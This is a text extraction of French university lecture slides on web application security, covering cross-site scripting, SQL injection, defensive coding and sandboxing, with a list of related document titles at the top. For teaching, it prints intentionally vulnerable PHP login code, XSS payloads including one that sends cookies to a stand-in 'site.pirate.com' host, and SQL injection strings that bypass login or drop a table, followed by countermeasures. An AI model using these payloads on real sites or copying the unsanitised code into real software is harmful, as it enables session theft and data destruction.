Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1



Documents pareils
Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Attaques applicatives

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Vulnérabilités et sécurisation des applications Web

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

Architectures web/bases de données

Module BD et sites WEB

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Sommaire Accès via un formulaire d'identification... 4 Accès en mode SSO... 5 Quels Identifiant / mot de passe utiliser?... 6

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Sécurité des Applications Web Comment Minimiser les Risques d Attaques les plus Courants

L3 informatique TP n o 2 : Les applications réseau

PHP et les Bases de données - Généralités

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Sécurité des applications web. Daniel Boteanu

Hébergement de sites Web

Vulnérabilités et solutions de sécurisation des applications Web

SQL Parser XML Xquery : Approche de détection des injections SQL

Présentation de la solution Open Source «Vulture» Version 2.0

3W Academy Programme de Formation Développeur Intégrateur web Total : 400 heures

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Rapport de certification ANSSI-CSPN-2010/05. ModSecurity v2.5.12

Gestion de stock pour un magasin

Mise en place d un serveur Proxy sous Ubuntu / Debian

Création d un «Web Worm»

Analyse statique de code dans un cycle de développement Web Retour d'expérience

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Hébergement de site web Damien Nouvel

INFORMATIQUE & WEB. PARCOURS CERTIFICAT PROFESSIONNEL Programmation de sites Web. 1 an 7 MODULES. Code du diplôme : CP09

les techniques d'extraction, les formulaires et intégration dans un site WEB

Programmation Web. Madalina Croitoru IUT Montpellier

E-TRANSACTIONS. Guide du programmeur API Plug-in. Version 1.1

Attaques de type. Brandon Petty

TP JAVASCRIPT OMI4 TP5 SRC

MANUEL D INSTALLATION D UN PROXY

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

PHP 4 PARTIE : BASE DE DONNEES

Groupe Eyrolles, 2006, ISBN : X

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

Cours 1 : La compilation

Développement d applications Internet et réseaux avec LabVIEW. Alexandre STANURSKI National Instruments France

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

Indicateur et tableau de bord

Firewall IDS Architecture. Assurer le contrôle des connexions au. Sécurité 1

Les risques HERVE SCHAUER HSC

Mysql. Les requêtes préparées Prepared statements

Single Sign-On open source avec CAS (Central Authentication Service) Vincent Mathieu Pascal Aubry Julien Marchal

La mémorisation des mots de passe dans les navigateurs web modernes

Évaluation et implémentation des langages

Bases de Données et Internet

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

Surveiller et contrôler vos applications à travers le Web

Mysql avec EasyPhp. 1 er mars 2006

Manuel d'installation

Environnements informatiques

Sécurité d IPv6. Sécurité d IPv6. Stéphane Bortzmeyer AFNIC bortzmeyer@nic.fr. Stéphane Bortzmeyer AFNIC bortzmeyer@nic.fr

Sécurité des réseaux Les attaques

Java et les bases de données: JDBC: Java DataBase Connectivity SQLJ: Embedded SQL in Java. Michel Bonjour

JAB, une backdoor pour réseau Win32 inconnu

Réseau - Sécurité - Métrologie - Data Center. Le leader du marché allemand des UTM débarque en France avec des arguments forts!

1. La plate-forme LAMP

PDO : PHP Data Object 1/13

Maarch Framework 3 - Maarch. Tests de charge. Professional Services. 11, bd du Sud Est Nanterre

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

WEB 2.0 : Vulnerabilty Reloaded!

4. Utilisation d un SGBD : le langage SQL. 5. Normalisation

WysiUpStudio. CMS professionnel. pour la création et la maintenance évolutive de sites et applications Internet V. 6.x

Couche application. La couche application est la plus élevée du modèle de référence.

WebDAV en 2 minutes. Tous ces objectifs sont complémentaires et ils sont atteints grâce au seul protocole WebDAV. Scénarii

Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

Création de formulaires interactifs

PHP 5.4 Développez un site web dynamique et interactif

Impression de sécurité?

10. Base de données et Web. OlivierCuré

Groupe Eyrolles, 2004, ISBN :

Application Web et J2EE

Rapport de certification ANSSI-CSPN-2011/14. Fonctionnalités de pare-feu de StoneGate Firewall/VPN build 8069

FileMaker Server 11. Publication Web personnalisée avec XML et XSLT

Cours Bases de données


Devenez un véritable développeur web en 3 mois!

LINUX - Sécurité. Déroulé de l'action. - 3 jours - Contenu de formation

Bases de données et Interfaçage Web

The Mozilla Art Of War. David Teller. 20 septembre Laboratoire d Informatique Fondamentale d Orléans. La sécurité des extensions.

Protection des protocoles

Bases de données et sites WEB

La sécurité périmètrique multi-niveaux. Un white paper de Daniel Fages CTO ARKOON Network Security

Cisco Certified Network Associate

Utiliser un CMS: Wordpress

Institut Supérieure Aux Etudes Technologiques De Nabeul. Département Informatique

FileMaker Server 14. Guide de démarrage

Mise en œuvre d une Gateway HTTP/HTTPS avec un serveur de Présentation en DMZ

Transcription:

Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1

Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 2

Sécurité Applications sécurisées Vulnérabilités des applications web Sécuriser la conception et le développement nicolas.hernandez@univ-nantes.fr Sécurité 3

Vulnérabilités des applications web Sommaire 1 Généralités Raisons d attaquer/de protéger les applications web Vulnérabilités d une application Vulnérabilité d une application web et attaques qui en découlent 2 3 Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage 4 Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL nicolas.hernandez@univ-nantes.fr Sécurité 4

Raisons d attaquer/de protéger les applications web Vulnérabilités d une application Vulnérabilité d une application web et attaques qui en découlent Raisons d attaquer/de protéger les applications web Enjeux économiques (services commerciaux, bancaires...) Plus aisé à mettre en oeuvre qu attaque par buffer overflow sur un système ou une application ou par déni de service sur un réseau Attaques discrètes et quasiment impossibles à remonter Programmeurs web rarement sensibilisés ou formés à la sécurité Utilisateurs confiants et peu informés nicolas.hernandez@univ-nantes.fr Sécurité 5

Vulnérabilités d une application Raisons d attaquer/de protéger les applications web Vulnérabilités d une application Vulnérabilité d une application web et attaques qui en découlent Principe Vulnérabilités principales d une application : ses ressources : attaque par déni de service sur sa mémoire, sa capacité calculatoire, sa gestion du nombres d entrées (e.g. nb. de ports)... et au niveau des données passées en entrée : buffer overflow, Defacing, SQL injection... nicolas.hernandez@univ-nantes.fr Sécurité 6

Raisons d attaquer/de protéger les applications web Vulnérabilités d une application Vulnérabilité d une application web et attaques qui en découlent Vulnérabilité d une appli. web et ses attaques Principe Vulnérabilité des applications web : la non-vérification des données passées en entrée soit par formulaire utilisateur soit par url Open Web Application Security Project (OWASP) www.owasp.org documentation consensuelle gratuite sur les vulnérabilités les plus critiques des applications web nicolas.hernandez@univ-nantes.fr Sécurité 7

Le protocole CGI (Common Gateway Interface) permet à une application de dialoguer avec un serveur web. I.e. de récupérer les données d un formulaire et de produire des pages web dynamiques Langages implémentant CGI : PERL, PHP, C, ASP, Shell... Si les données ne sont pas vérifiées en entrée, alors un pirate peut, à la place de l information attendue, insérer un code malicieux qui exploitera potentialités du langage de l application (lecture, écriture...), éventuellement des commandes systèmes (rm, sendmail,...) sur la machine où l application tourne et avec les droits qui lui sont attribués nicolas.hernandez@univ-nantes.fr Sécurité 8

Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage (XSS) : insertion dans un site web d un code malicieux qui sera exécuté par des internautes visitant ce site Ne vise pas le site web mais les internautes qui le consultent Supports susceptibles d être vérolés : blog, forum, wiki, livre d or, fils RSS, emails... nicolas.hernandez@univ-nantes.fr Sécurité 9

Nuissances potentielles des scripts Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage Nuissances que peuvent provoquer des scripts interprétés par les navigateurs : Usurpation de compte et de session notamment par vol de cookies, recherche dans le cache et l historique de l utilisateur Détournement et redirection d URL vers d autres sites Réécriture de page web à la volée (désinformation et defacing) Scanning des services web (HTTP) du LAN par l intermédiaire du navigateur et d AJAX, voire reconfiguration des services LAN offrant interface HTTP (e.g. routeur, imprimante...) keylogging enregistrement des frappes clavier des utilisateurs nicolas.hernandez@univ-nantes.fr Sécurité 10

Entrée des données par formulaire Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage nicolas.hernandez@univ-nantes.fr Sécurité 11

login.php Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage login.php <?php // Cookie setcookie("moncookiedesession","ce contenu est stoqué dans le cookie moncookiedesession"); // Récupération les données de la requ^ete et affichage des résultats $username = $_POST[ username ]; $password = $_POST[ password ]; if ($username && $password) { echo "hello $username, your password is $password <br>"; } else { echo "<html><head></head><body> <form name=\"login\" method=\"post\" action=\"login.php\"> <p>username<br /><input type=\"text\" name=\"username\" size=30><br /> <p>password<br /><input type=\"password\" name=\"password\" size=30></p> <input type=\"submit\" value=\"login\"> </form></body></html>";}?> nicolas.hernandez@univ-nantes.fr Sécurité 12

Exemples de scripts malicieux Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage Test de la vulnérabilité : <SCRIPT>alert("Vulnerable")</SCRIPT> Accès au contenu sensible (cookie) : <SCRIPT>alert(document.cookie)</SCRIPT> Transmission du contenu d un cookie au pirate : en forçant le navigateur à se rediriger lui-même vers un autre site web et passer le cookie en argument <SCRIPT>document.location="http://site.pirate.com/page. pirate.php?info="+document.cookie;</script> Variante pour intégrer du code : <a href="javascript:alert( still vulnerable );">Click Me</a> Variante pour intégrer du code : <a onmouseover="javascript:alert( still vulnerable without clicking );">Move your mouse over me</a> Réécriture de la page : <SCRIPT>document.write("I was here")</script> nicolas.hernandez@univ-nantes.fr Sécurité 13

Après insertion d un code malicieux Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage Accès au contenu sensible (cookie) après insertion dans le champ Username : <SCRIPT>alert(document.cookie)</SCRIPT> En affichant le code source de la page web : hello <SCRIPT>alert(document.cookie)</SCRIPT>, your password is <br /> nicolas.hernandez@univ-nantes.fr Sécurité 14

Exemple d application web vulnérable Exemples de scripts malicieux Contre-mesures par vérification des entrées : filtrage Contre-mesures par vérification des entrées : filtrage Echappement de l ensemble des caractères spéciaux : fonction PHP htmlentities() remplace les caractères spéciaux par équivalent en HTML e.g. <script> devient <script> la plus facile et la plus fiable toutes les balises sont bloquées : génant pour site où mise en page est importante (wiki, blog...) Filtrage par expressions régulières et listes détaillées de mots clefs : $input = ereg_replace("<script>", "", $input); certaines balises HTML autorisées plus difficile à réaliser maintenance délicate nicolas.hernandez@univ-nantes.fr Sécurité 15

Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL : réfère au procédé de soumettre à une application des requêtes SQL brutes à travers ses champs de formulaire ou d URL afin de réaliser des actions malicieuses nicolas.hernandez@univ-nantes.fr Sécurité 16

login.php Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL login.php <html><head></head><body> <?php $username = $_POST[ username ]; $password = $_POST[ password ]; if ($username && $password) { // Connexion à la base -- mysql_connect()... // Exécution de la requ^ete $query = "SELECT * FROM userlist WHERE username = $username AND password = $password "; $result = mysql_query($query, $link); // Récupération des données de la base et affichage -- mysql_fetch_array()... } else {echo "<form name=\"login\" method=\"post\" action=\"login.php\"> <p>username<br /><input type=\"text\" name=\"username\" size=30><br /> <p>password<br /><input type=\"password\" name=\"password\" size=30></p> <input type=\"submit\" value=\"login\"> </form>";}?> nicolas.hernandez@univ-nantes.fr Sécurité 17

Exemples de code SQL à injecter Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL login.php //... $query = "SELECT * FROM userlist WHERE username = $username AND password = $password "; //... Authentification sans rien : Username: OR =, Password: OR = SELECT * FROM userlist WHERE username = OR = AND password = OR = Causer des dommages : Username: ; drop table userlist - - SELECT * FROM userlist WHERE username = ; drop table userlist-- AND password = avec pour introduire une ligne de commentaire Attention fonctionne si dans /etc/php5/apache2/php.ini ; Magic quotes for incoming GET/POST/Cookie data. magic_quotes_gpc = Off nicolas.hernandez@univ-nantes.fr Sécurité 18

Après injection d une requête SQL Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL Authentification en tant qu admin : Username:admin /* en ayant la connaissance de ce login SELECT * FROM userlist WHERE username = admin /* AND password = avec /* plusieurs lignes de commentaires */ nicolas.hernandez@univ-nantes.fr Sécurité 19

Contre-mesures aux injections SQL Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL Vérifier toutes les données entrées par le client : filtrage par expressions régulières Remplacer toutes les requêtes SQL directes par des procédures stoquées Gérer des erreurs par défaut Vérouiller ODBC (Open DataBase Connectivity) pour qu il ne retourne par de messages au client Vérouiller la base de données en spécifiant des utilisateurs, des rôles et des permissions strictes nicolas.hernandez@univ-nantes.fr Sécurité 20

Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL Points de vérification quelle que soit l attaque nicolas.hernandez@univ-nantes.fr Sécurité 21

Quizz de synthèse Exemple d application web vulnérable Exemples de code SQL à injecter Contre-mesures aux injections SQL Quel différence notable y a t il entre une attaque par Cross Site Scripting et une attaque par? Quelles sont les cibles? Quelle vulnérabilité potentielle ont en commun les applications web et les systèmes sensibles au buffer overflow? nicolas.hernandez@univ-nantes.fr Sécurité 22

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Problème majeur de la sécurisation d une application Phases de sécurisation Sécuriser la conception et le développement d une application Sommaire Problème majeur de la sécurisation d une application Phases de sécurisation 5 Codage défensif Codage défensif Principes de base pour produire un code robuste (défensif) Une référence bibliographique 6 Tests de vérification statique et dynamique Tests de vérification statique Tests de vérification dynamique 7 Environnements de compilation sécurisés 8 Environnement d exécution cloisonnés Cloisonnement de type prison Cloisonnement dans une machine virtuelle nicolas.hernandez@univ-nantes.fr Sécurité 23

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Problème majeur de la sécurisation d une application Phases de sécurisation Sécuriser la conception et le développement d une application Problème Tous les mécanismes de protection réseau et système ne peuvent rien contre une requête client pour un service autorisé sous une forme apparamment légitime nicolas.hernandez@univ-nantes.fr Sécurité 24

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Phases de sécurisation Problème majeur de la sécurisation d une application Phases de sécurisation Proposition de séquençage des phases mais celles-ci sont avant tout indépendantes nicolas.hernandez@univ-nantes.fr Sécurité 25

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Codage défensif Codage défensif Principes de base pour produire un code robuste (défensif) Une référence bibliographique Distinction entre un programme Correct implémentant sans erreur la fonctionnalité attendue I.e. qui risque de s écrouler à la suite d une erreur d exécution si son entrée n est pas conforme Robuste capable de s exécuter dans un environnement hostile. I.e. qui se termine de manière prévue en toutes circonstances Un code défensif est un code robuste nicolas.hernandez@univ-nantes.fr Sécurité 26

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Codage défensif Principes de base pour produire un code robuste (défensif) Une référence bibliographique Principes de base pour produire un code robuste (défensif) Valider toutes les entrées des données du programme validation lexicale (encodage des caractères), syntaxique (syntaxe d une url) et sémantique (signification de l exécution d une commande telle que rm -rf /) données du client/utilisateur, passées en paramètres, de l environnement Contrôler la gestion de la mémoire dynamique et les accès mémoire par référence de pointeur et par indexation Séparer le contrôle des données et éviter l exécution d un code lu en entrée nicolas.hernandez@univ-nantes.fr Sécurité 27

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Codage défensif Principes de base pour produire un code robuste (défensif) Une référence bibliographique Principes de base pour produire un code robuste (défensif) Appliquer le privilège minimal, limiter les ressources et cacher l information confidentielle Invoquer des ressources externes prudemment et prévoir tous les résultats (à l instar de la validation des entrées, validation des résultats) Privilégier une modularité logicielle simple (une fonction = un module) et des solutions techniques simples (écriture dans un fichier plat plutôt que dans une base de données relationnelle orientée objet si non nécessaire) Conceptuellement simples mais fastidieux à implémenter nicolas.hernandez@univ-nantes.fr Sécurité 28

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés référence bibliographique Codage défensif Principes de base pour produire un code robuste (défensif) Une référence bibliographique Secure Programming for Linux and Unix HOWTO de David A. Wheeler Guide pour la conception et l implémentation d applications Exemples d applications : viewers of remote data, web applications (including CGI scripts), network servers, and setuid/setgid programs C, C++, Java, Perl, Python, et Ada95 http://www.dwheeler.com/secure-programs/ Disponible gratuitement en ligne nicolas.hernandez@univ-nantes.fr Sécurité 29

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Tests de vérification statique Tests de vérification statique Tests de vérification dynamique Un peu de génie logiciel... Techniques de vérifications statiques Technique informelle : jouer à la machine et chercher les erreurs classiques : variables non initialisées, boucles infinies, débordements de tableaux, affectations incompatibles... Technique formelle : prouver formellement la correction d un programme en établissant les assertions logiques intermédiaires entre la postcondition du programme (condition vraie à la fin du programme) et sa précondition (condition éventuelle à respecter par les données) (méthode de Hoare) nicolas.hernandez@univ-nantes.fr Sécurité 30

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Tests de vérification dynamique Tests de vérification statique Tests de vérification dynamique Vérifications dynamiques : comparaison entre résultats obtenus et résultats attendus après spécifications du programme Construction des jeux de tests aléatoirement approche fonctionnelle ou boîte noire : on vérifie sa fonction et pas sa structure interne approche structurelle ou boîte blanche : on tient compte de la structure interne (couverture d exécution des instructions, graphe du déroulement des instructions) Différents types de tests tests unitaires ou de modules tests de réception (par l acquéreur dans ses locaux après installation et avec participation du fournisseur) tests de non-régression (après modification d une partie, vérification que d autres n en soient pas affectées) nicolas.hernandez@univ-nantes.fr Sécurité 31

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Environnements de compilation sécurisés Principe Si l on dispose du code source d un programme, on peut le recompiler pour l exécuter dans un environnement sécurisé lequel allerte lors d une anomalie rencontrée Par exemple, StackGuard Associé au compilateur gcc Détecte des buffer overflow dans la pile d exécution Fonctionnemment Place mots canaris 1 à côté de l adresse de retour dans la pile Si le mot canari est altéré au retour de la fonction alors cela signale attaque par débordement de pile et programme s arrête 1 les canaris (plus fragile que l homme) étaient utilisés dans les mines pour détecter des émanations toxiques nicolas.hernandez@univ-nantes.fr Sécurité 32

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Environnement d exécution cloisonnés Cloisonnement de type prison Cloisonnement dans une machine virtuelle Principe Minimiser les risques par cloisonnement de l application Deux techniques de cloisonnement possibles : Prison Machine virtuelle nicolas.hernandez@univ-nantes.fr Sécurité 33

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Cloisonnement de type prison Cloisonnement de type prison Cloisonnement dans une machine virtuelle Prison : à l aide de primitives du système d exploitation, on octroie une identité au démon de l application dans un groupe d usagers ces groupes définissent certains droits d accès aux ressources associées Exemple : la primitive Unix chroot modifie racine du système de fichiers : vision limitée du sous répertoire requiert reproduction de certains sous-répertoires (e.g. les fichiers d authentification) typique des serveurs FTP nicolas.hernandez@univ-nantes.fr Sécurité 34

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Cloisonnement de type prison Cloisonnement dans une machine virtuelle Cloisonnement dans une machine virtuelle Machine virtuelle : couche intermédiaire entre le système d application et l application Le programme ne voit pas du tout le système de base et a uniquement une vision des services offerts par la machine virtuelle Exemple : la machine virtuelle Java nicolas.hernandez@univ-nantes.fr Sécurité 35

Codage défensif Tests de vérification statique et dynamique Environnements de compilation sécurisés Environnement d exécution cloisonnés Quizz de synthèse Cloisonnement de type prison Cloisonnement dans une machine virtuelle Quelles différences y a t-il en un programme correct et un programme robuste? Donner 3 exemples de tests de vérification. nicolas.hernandez@univ-nantes.fr Sécurité 36